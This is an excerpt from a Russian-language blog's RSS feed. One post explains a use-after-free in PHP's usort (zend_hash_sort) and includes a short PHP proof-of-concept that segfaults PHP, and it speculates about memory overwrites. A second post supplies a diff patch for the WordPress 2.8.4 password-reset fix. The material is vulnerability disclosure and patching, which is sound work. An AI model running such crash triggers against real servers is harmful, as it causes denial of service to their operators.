<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span><span class="br0">&#40;</span>ht<span class="sy0">-&gt;</span>nNumOfElements<span class="sy0">&gt;</span><span class="nu0">1</span><span class="br0">&#41;</span> <span class="sy0">&amp;&amp;</span> <span class="sy0">!</span><span class="br0">&#40;</span>renumber <span class="sy0">&amp;&amp;</span> ht<span class="sy0">-&gt;</span>nNumOfElements<span class="sy0">&gt;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="coMULTI">/* Doesn't require sorting */</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> SUCCESS<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; arTmp <span class="sy0">=</span> <span class="br0">&#40;</span>Bucket <span class="sy0">**</span><span class="br0">&#41;</span> pemalloc<span class="br0">&#40;</span>ht<span class="sy0">-&gt;</span>nNumOfElements <span class="sy0">*</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>Bucket <span class="sy0">*</span><span class="br0">&#41;</span><span class="sy0">,</span> ht<span class="sy0">-&gt;</span>persistent<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span>arTmp<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> FAILURE<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; p <span class="sy0">=</span> ht<span class="sy0">-&gt;</span>pListHead<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; i <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span>p<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; arTmp<span class="br0">&#91;</span>i<span class="br0">&#93;</span> <span class="sy0">=</span> p<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; p <span class="sy0">=</span> p<span class="sy0">-&gt;</span>pListNext<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; i<span class="sy0">++;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#40;</span><span class="sy0">*</span>sort_func<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">void</span> <span class="sy0">*</span><span class="br0">&#41;</span> arTmp<span class="sy0">,</span> i<span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>Bucket <span class="sy0">*</span><span class="br0">&#41;</span><span class="sy0">,</span> compar TSRMLS_CC<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; HANDLE_BLOCK_INTERRUPTIONS<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; ht<span class="sy0">-&gt;</span>pListHead <span class="sy0">=</span> arTmp<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; ht<span class="sy0">-&gt;</span>pListTail <span class="sy0">=</span> NULL<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; ht<span class="sy0">-&gt;</span>pInternalPointer <span class="sy0">=</span> ht<span class="sy0">-&gt;</span>pListHead<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; arTmp<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="sy0">-&gt;</span>pListLast <span class="sy0">=</span> NULL<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>i <span class="sy0">&gt;</span> 1<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; arTmp<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="sy0">-&gt;</span>pListNext <span class="sy0">=</span> arTmp<span class="br0">&#91;</span>1<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span>j <span class="sy0">=</span> <span class="nu0">1</span><span class="sy0">;</span> j <span class="sy0">&lt;</span> i<span class="sy0">-</span><span class="nu0">1</span><span class="sy0">;</span> j<span class="sy0">++</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; arTmp<span class="br0">&#91;</span>j<span class="br0">&#93;</span><span class="sy0">-&gt;</span>pListLast <span class="sy0">=</span> arTmp<span class="br0">&#91;</span>j<span class="sy0">-</span>1<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; arTmp<span class="br0">&#91;</span>j<span class="br0">&#93;</span><span class="sy0">-&gt;</span>pListNext <span class="sy0">=</span> arTmp<span class="br0">&#91;</span>j<span class="sy0">+</span>1<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; arTmp<span class="br0">&#91;</span>j<span class="br0">&#93;</span><span class="sy0">-&gt;</span>pListLast <span class="sy0">=</span> arTmp<span class="br0">&#91;</span>j<span class="sy0">-</span>1<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; arTmp<span class="br0">&#91;</span>j<span class="br0">&#93;</span><span class="sy0">-&gt;</span>pListNext <span class="sy0">=</span> NULL<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; arTmp<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="sy0">-&gt;</span>pListNext <span class="sy0">=</span> NULL<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; ht<span class="sy0">-&gt;</span>pListTail <span class="sy0">=</span> arTmp<span class="br0">&#91;</span>i<span class="sy0">-</span>1<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; pefree<span class="br0">&#40;</span>arTmp<span class="sy0">,</span> ht<span class="sy0">-&gt;</span>persistent<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; HANDLE_UNBLOCK_INTERRUPTIONS<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>renumber<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; p <span class="sy0">=</span> ht<span class="sy0">-&gt;</span>pListHead<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; i<span class="sy0">=</span><span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span>p <span class="sy0">!=</span> NULL<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p<span class="sy0">-&gt;</span>nKeyLength <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p<span class="sy0">-&gt;</span>h <span class="sy0">=</span> i<span class="sy0">++;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p <span class="sy0">=</span> p<span class="sy0">-&gt;</span>pListNext<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; ht<span class="sy0">-&gt;</span>nNextFreeElement <span class="sy0">=</span> i<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; zend_hash_rehash<span class="br0">&#40;</span>ht<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> SUCCESS<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
</ol>
        </div>
    </div>
</div>

<p>Строка 13 (что само по себе символично) создаёт временный массив, достаточный для размещения указателей на все элементы массива, строки 17–23 заполняют этот временный массив указателями на элементы PHP-массива, строка 25 вызывает функцию сортировки, в строках 28–44 PHP-массив «пересоздается».</p>
<p>Что это даёт: если у нас имеется массив строк (массивов, объектов), а наша функция сортировки — о, ужас! — изменяет этот массив (например, удаляет из него элемент), а после сортировки производится обращение к этому элементу, то PHP вылетит по ошибке сегментации. Это является следствием того, что PHP-массив изменяется в процессе сортировки (из него удаляется элемент, а связанная с ним память освобождается), а C-массив содержит указатели на освобождённую память. При обращении к этой освобождённой памяти происходит <a href="http://blog.sjinks.pro/tag/bug/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  ошибка">ошибка</a> сегментации.</p>
<p><strong>Proof of Concept:</strong></p>
          
<div class="codebox">
    <div class="the_code" style="" id="p66728">
        <div class="code php" id="p667code28">
<span class="kw2">&lt;?php</span><br />
&nbsp; &nbsp; <span class="kw2">function</span> compare<span class="br0">&#40;</span><span class="re0">$a</span><span class="sy0">,</span> <span class="re0">$b</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">global</span> <span class="re0">$arr</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">isset</span><span class="br0">&#40;</span><span class="re0">$arr</span><span class="br0">&#91;</span>2<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">unset</span><span class="br0">&#40;</span><span class="re0">$arr</span><span class="br0">&#91;</span>2<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; <span class="re0">$arr</span> <span class="sy0">=</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="st_h">'A'</span><span class="sy0">,</span> <span class="st_h">'B'</span><span class="sy0">,</span> <span class="st_h">'C'</span><span class="sy0">,</span> <span class="st_h">'D'</span><span class="sy0">,</span> <span class="st_h">'E'</span><span class="sy0">,</span> <span class="st_h">'F'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="kw3">usort</span><span class="br0">&#40;</span><span class="re0">$arr</span><span class="sy0">,</span> <span class="st0">&quot;compare&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="kw3">print_r</span><span class="br0">&#40;</span><span class="re0">$arr</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="sy1">?&gt;</span>
        </div>
    </div>
</div>

<p>В зависимости от конфигурации (всякие там Suhosin) может потребоваться увеличить длину строк в массиве, либо агрессивнее обратиться к массиву (например, вызвать <span class="codebox"><code class="php"><span class="kw3">sort</span><span class="br0">&#40;</span><span class="br0">&#41;</span></code></span> сразу после <span class="codebox"><code class="php"><span class="kw3">usort</span><span class="br0">&#40;</span><span class="br0">&#41;</span></code></span>).</p>
<p>Вышеприведённый скрипт успешно устроил <code>502 Bad Gateway</code> на сервере с Suhosin (да так, что последний даже не пожаловался).</p>
<p>PHP в Ubuntu Karmic (5.2.10.dfsg.1-2ubuntu5) оказался уязвимым, а вот сборка от dotdeb (5.2.11-0.dotdeb.1) — нет (возможно, что ошибка исправлена в 5.2.11, хотя в changelog ничего не видно).</p>
<p>Что даёт уязвимость:</p>
<ul>
<li>если администратор криворукий, то можно забить место на диске core dump&#8217;ами (5-6 дампов — почти гигабайт, YMMV);</li>
<li>так как данная уязвимость демонстрирует повреждение памяти, при соответствующем исследовании можно переписать произвольные участки памяти PHP (например, отключить безопасный режим, включить <code>register_globals</code>, отключить <code>magic_quotes_gpc</code> и т.п.).</li>
</ul>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/php/667-simple-dos-for-php/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/php/667-simple-dos-for-php/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WordPress 2.8.4</title>
		<link>http://blog.sjinks.pro/wordpress/616-wordpress-2-8-4/</link>
		<comments>http://blog.sjinks.pro/wordpress/616-wordpress-2-8-4/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 15:09:14 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[патч]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=616</guid>
		<description><![CDATA[Исправление уязвимости при сбросе пароля Вчера вышел WordPress 2.8.4, исправляющий уязвимость при сбросе пароля пользователя. С помощью специально сформированного URL можно было сбросить пароль первому пользователю, который никогда не сбрасывал пароль (обычно это администратор). Удалённый доступ это не даёт, но, по словам разработчиков, всё же неприятно. Те, кто не хотят качать двухмегабайтный архив ради исправления одной [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/wordpress/616-wordpress-2-8-4/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Исправление уязвимости при сбросе пароля</em></h2>
<p>Вчера вышел <a href="http://blog.sjinks.pro/tag/wordpress/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  WordPress">WordPress</a> 2.8.4, исправляющий <a href="http://wordpress.org/development/2009/08/2-8-4-security-release/">уязвимость при сбросе пароля пользователя</a>. С помощью специально сформированного URL можно было сбросить пароль первому пользователю, который никогда не сбрасывал пароль (обычно это администратор). Удалённый доступ это не даёт, но, по словам разработчиков, всё же неприятно.<span id="more-616"></span></p>
<p>Те, кто не хотят качать двухмегабайтный архив ради исправления одной единственной ошибки, могут применить данный <a href="http://blog.sjinks.pro/tag/patch/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  патч">патч</a>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p61631">
        <div class="code diff" id="p616code31">
diff -uwdBrN 2.8.3/readme.html 2.8.4/readme.html<br />
<span class="re3">--- 2.8.3/readme.html &nbsp; <span class="nu0">2009</span>-08-03 02:<span class="nu0">18</span>:<span class="nu0">57.000000000</span> +0300</span><br />
<span class="re4">+++ 2.8.4/readme.html &nbsp; <span class="nu0">2009</span>-08-<span class="nu0">12</span> 03:<span class="nu0">41</span>:<span class="nu0">44.000000000</span> +0300</span><br />
<span class="re6">@@ -<span class="nu0">8</span>,<span class="nu0">7</span> +<span class="nu0">8</span>,<span class="nu0">7</span> @@</span><br />
&nbsp;&lt;body&gt;<br />
&nbsp;&lt;h1 id=&quot;logo&quot; style=&quot;text-align: center&quot;&gt;<br />
&nbsp; &nbsp; &lt;img alt=&quot;WordPress&quot; src=&quot;wp-admin/images/wordpress-logo.png&quot; /&gt;<br />
<span class="re7">- &nbsp; &lt;br /&gt; Version 2.8.3</span><br />
<span class="re8">+ &nbsp; &lt;br /&gt; Version 2.8.4</span><br />
&nbsp;&lt;/h1&gt;<br />
&nbsp;&lt;p style=&quot;text-align: center&quot;&gt;Semantic Personal Publishing Platform&lt;/p&gt;<br />
&nbsp;<br />
<span class="re6">@@ -<span class="nu0">29</span>,<span class="nu0">7</span> +<span class="nu0">29</span>,<span class="nu0">7</span> @@</span><br />
&nbsp;<br />
&nbsp;&lt;h1&gt;Upgrading&lt;/h1&gt;<br />
&nbsp;&lt;p&gt;Before you upgrade anything, make sure you have backup copies of any files you may have modified such as &lt;code&gt;index.php&lt;/code&gt;.&lt;/p&gt;<br />
<span class="re7">-&lt;h2&gt;Upgrading from any previous WordPress to 2.8.3:&lt;/h2&gt;</span><br />
<span class="re8">+&lt;h2&gt;Upgrading from any previous WordPress to 2.8.4:&lt;/h2&gt;</span><br />
&nbsp;&lt;ol&gt;<br />
&nbsp; &nbsp; &lt;li&gt;Delete your old WP files, saving ones you've modified.&lt;/li&gt;<br />
&nbsp; &nbsp; &lt;li&gt;Upload the new files.&lt;/li&gt;<br />
diff -uwdBrN 2.8.3/wp-includes/version.php 2.8.4/wp-includes/version.php<br />
<span class="re3">--- 2.8.3/wp-includes/version.php &nbsp; <span class="nu0">2009</span>-08-03 02:<span class="nu0">18</span>:<span class="nu0">57.000000000</span> +0300</span><br />
<span class="re4">+++ 2.8.4/wp-includes/version.php &nbsp; <span class="nu0">2009</span>-08-<span class="nu0">12</span> 03:<span class="nu0">41</span>:<span class="nu0">44.000000000</span> +0300</span><br />
<span class="re6">@@ -<span class="nu0">8</span>,<span class="nu0">7</span> +<span class="nu0">8</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; *<br />
&nbsp; * @global string $wp_version<br />
&nbsp; */<br />
<span class="re7">-$wp_version = '2.8.3';</span><br />
<span class="re8">+$wp_version = '2.8.4';</span><br />
&nbsp;<br />
&nbsp;/**<br />
&nbsp; * Holds the WordPress DB revision, increments when changes are made to the WordPress DB schema.<br />
diff -uwdBrN 2.8.3/wp-login.php 2.8.4/wp-login.php<br />
<span class="re3">--- 2.8.3/wp-login.php&nbsp; <span class="nu0">2009</span>-06-04 01:<span class="nu0">15</span>:<span class="nu0">22.000000000</span> +0300</span><br />
<span class="re4">+++ 2.8.4/wp-login.php&nbsp; <span class="nu0">2009</span>-08-<span class="nu0">11</span> 09:03:<span class="nu0">45.000000000</span> +0300</span><br />
<span class="re6">@@ -<span class="nu0">161</span>,<span class="nu0">7</span> +<span class="nu0">161</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; $message .= get_option<span class="br0">&#40;</span>'siteurl'<span class="br0">&#41;</span> . &quot;\r\n\r\n&quot;;<br />
&nbsp; &nbsp; $message .= sprintf<span class="br0">&#40;</span>__<span class="br0">&#40;</span>'Username: %s'<span class="br0">&#41;</span>, $user_login<span class="br0">&#41;</span> . &quot;\r\n\r\n&quot;;<br />
&nbsp; &nbsp; $message .= __<span class="br0">&#40;</span>'To reset your password visit the following address, otherwise just ignore this email and nothing will happen.'<span class="br0">&#41;</span> . &quot;\r\n\r\n&quot;;<br />
<span class="re7">- &nbsp; $message .= site_url<span class="br0">&#40;</span>&quot;wp-login.php?action=rp&amp;key=$key&quot;, 'login'<span class="br0">&#41;</span> . &quot;\r\n&quot;;</span><br />
<span class="re8">+ &nbsp; $message .= site_url<span class="br0">&#40;</span>&quot;wp-login.php?action=rp&amp;key=$key&amp;login=&quot; . rawurlencode<span class="br0">&#40;</span>$user_login<span class="br0">&#41;</span>, 'login'<span class="br0">&#41;</span> . &quot;\r\n&quot;;</span><br />
&nbsp;<br />
&nbsp; &nbsp; $title = sprintf<span class="br0">&#40;</span>__<span class="br0">&#40;</span>'<span class="br0">&#91;</span>%s<span class="br0">&#93;</span> Password Reset'<span class="br0">&#41;</span>, get_option<span class="br0">&#40;</span>'blogname'<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re6">@@ -<span class="nu0">182</span>,<span class="nu0">15</span> +<span class="nu0">182</span>,<span class="nu0">18</span> @@</span><br />
&nbsp; * @param string $key Hash to validate sending user's password<br />
&nbsp; * @return bool|WP_Error<br />
&nbsp; */<br />
<span class="re7">-function reset_password<span class="br0">&#40;</span>$key<span class="br0">&#41;</span> <span class="br0">&#123;</span></span><br />
<span class="re8">+function reset_password<span class="br0">&#40;</span>$key, $login<span class="br0">&#41;</span> <span class="br0">&#123;</span></span><br />
&nbsp; &nbsp; global $wpdb;<br />
&nbsp;<br />
&nbsp; &nbsp; $key = preg_replace<span class="br0">&#40;</span>'/<span class="br0">&#91;</span>^a-z0-9<span class="br0">&#93;</span>/i', '', $key<span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re7">- &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span> $key <span class="br0">&#41;</span> <span class="br0">&#41;</span></span><br />
<span class="re8">+ &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span> $key <span class="br0">&#41;</span> || !is_string<span class="br0">&#40;</span> $key <span class="br0">&#41;</span> <span class="br0">&#41;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; return new WP_Error<span class="br0">&#40;</span>'invalid_key', __<span class="br0">&#40;</span>'Invalid key'<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re7">- &nbsp; $user = $wpdb-&gt;get_row<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT * FROM $wpdb-&gt;users WHERE user_activation_key = %s&quot;, $key<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span>$login<span class="br0">&#41;</span> || !is_string<span class="br0">&#40;</span>$login<span class="br0">&#41;</span> <span class="br0">&#41;</span></span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; return new WP_Error<span class="br0">&#40;</span>'invalid_key', __<span class="br0">&#40;</span>'Invalid key'<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+</span><br />
<span class="re8">+ &nbsp; $user = $wpdb-&gt;get_row<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT * FROM $wpdb-&gt;users WHERE user_activation_key = %s AND user_login = %s&quot;, $key, $login<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span> $user <span class="br0">&#41;</span> <span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; return new WP_Error<span class="br0">&#40;</span>'invalid_key', __<span class="br0">&#40;</span>'Invalid key'<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re6">@@ -<span class="nu0">370</span>,<span class="nu0">7</span> +<span class="nu0">373</span>,<span class="nu0">7</span> @@</span><br />
&nbsp;<br />
&nbsp;case 'resetpass' :<br />
&nbsp;case 'rp' :<br />
<span class="re7">- &nbsp; $errors = reset_password<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'key'<span class="br0">&#93;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; $errors = reset_password<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'key'<span class="br0">&#93;</span>, $_GET<span class="br0">&#91;</span>'login'<span class="br0">&#93;</span><span class="br0">&#41;</span>;</span><br />
&nbsp;<br />
&nbsp; &nbsp; if <span class="br0">&#40;</span> ! is_wp_error<span class="br0">&#40;</span>$errors<span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; wp_redirect<span class="br0">&#40;</span>'wp-login.php?checkemail=newpass'<span class="br0">&#41;</span>;
        </div>
    </div>
</div>

<p>Те, у кого стоит WordPress 2.7, могут воспользоваться данным патчем:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p61632">
        <div class="code diff" id="p616code32">
diff -uwdBrN 2.8.3/wp-login.php 2.8.4/wp-login.php<br />
<span class="re3">--- 2.8.3/wp-login.php&nbsp; <span class="nu0">2009</span>-06-04 01:<span class="nu0">15</span>:<span class="nu0">22.000000000</span> +0300</span><br />
<span class="re4">+++ 2.8.4/wp-login.php&nbsp; <span class="nu0">2009</span>-08-<span class="nu0">11</span> 09:03:<span class="nu0">45.000000000</span> +0300</span><br />
<span class="re6">@@ -<span class="nu0">161</span>,<span class="nu0">7</span> +<span class="nu0">161</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; $message .= get_option<span class="br0">&#40;</span>'siteurl'<span class="br0">&#41;</span> . &quot;\r\n\r\n&quot;;<br />
&nbsp; &nbsp; $message .= sprintf<span class="br0">&#40;</span>__<span class="br0">&#40;</span>'Username: %s'<span class="br0">&#41;</span>, $user_login<span class="br0">&#41;</span> . &quot;\r\n\r\n&quot;;<br />
&nbsp; &nbsp; $message .= __<span class="br0">&#40;</span>'To reset your password visit the following address, otherwise just ignore this email and nothing will happen.'<span class="br0">&#41;</span> . &quot;\r\n\r\n&quot;;<br />
<span class="re7">- &nbsp; $message .= site_url<span class="br0">&#40;</span>&quot;wp-login.php?action=rp&amp;key=$key&quot;, 'login'<span class="br0">&#41;</span> . &quot;\r\n&quot;;</span><br />
<span class="re8">+ &nbsp; $message .= site_url<span class="br0">&#40;</span>&quot;wp-login.php?action=rp&amp;key=$key&amp;login=&quot; . rawurlencode<span class="br0">&#40;</span>$user_login<span class="br0">&#41;</span>, 'login'<span class="br0">&#41;</span> . &quot;\r\n&quot;;</span><br />
&nbsp;<br />
&nbsp; &nbsp; $title = sprintf<span class="br0">&#40;</span>__<span class="br0">&#40;</span>'<span class="br0">&#91;</span>%s<span class="br0">&#93;</span> Password Reset'<span class="br0">&#41;</span>, get_option<span class="br0">&#40;</span>'blogname'<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re6">@@ -<span class="nu0">182</span>,<span class="nu0">15</span> +<span class="nu0">182</span>,<span class="nu0">18</span> @@</span><br />
&nbsp; * @param string $key Hash to validate sending user's password<br />
&nbsp; * @return bool|WP_Error<br />
&nbsp; */<br />
<span class="re7">-function reset_password<span class="br0">&#40;</span>$key<span class="br0">&#41;</span> <span class="br0">&#123;</span></span><br />
<span class="re8">+function reset_password<span class="br0">&#40;</span>$key, $login<span class="br0">&#41;</span> <span class="br0">&#123;</span></span><br />
&nbsp; &nbsp; global $wpdb;<br />
&nbsp;<br />
&nbsp; &nbsp; $key = preg_replace<span class="br0">&#40;</span>'/<span class="br0">&#91;</span>^a-z0-9<span class="br0">&#93;</span>/i', '', $key<span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re7">- &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span> $key <span class="br0">&#41;</span> <span class="br0">&#41;</span></span><br />
<span class="re8">+ &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span> $key <span class="br0">&#41;</span> || !is_string<span class="br0">&#40;</span> $key <span class="br0">&#41;</span> <span class="br0">&#41;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; return new WP_Error<span class="br0">&#40;</span>'invalid_key', __<span class="br0">&#40;</span>'Invalid key'<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re7">- &nbsp; $user = $wpdb-&gt;get_row<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT * FROM $wpdb-&gt;users WHERE user_activation_key = %s&quot;, $key<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span>$login<span class="br0">&#41;</span> || !is_string<span class="br0">&#40;</span>$login<span class="br0">&#41;</span> <span class="br0">&#41;</span></span><br />
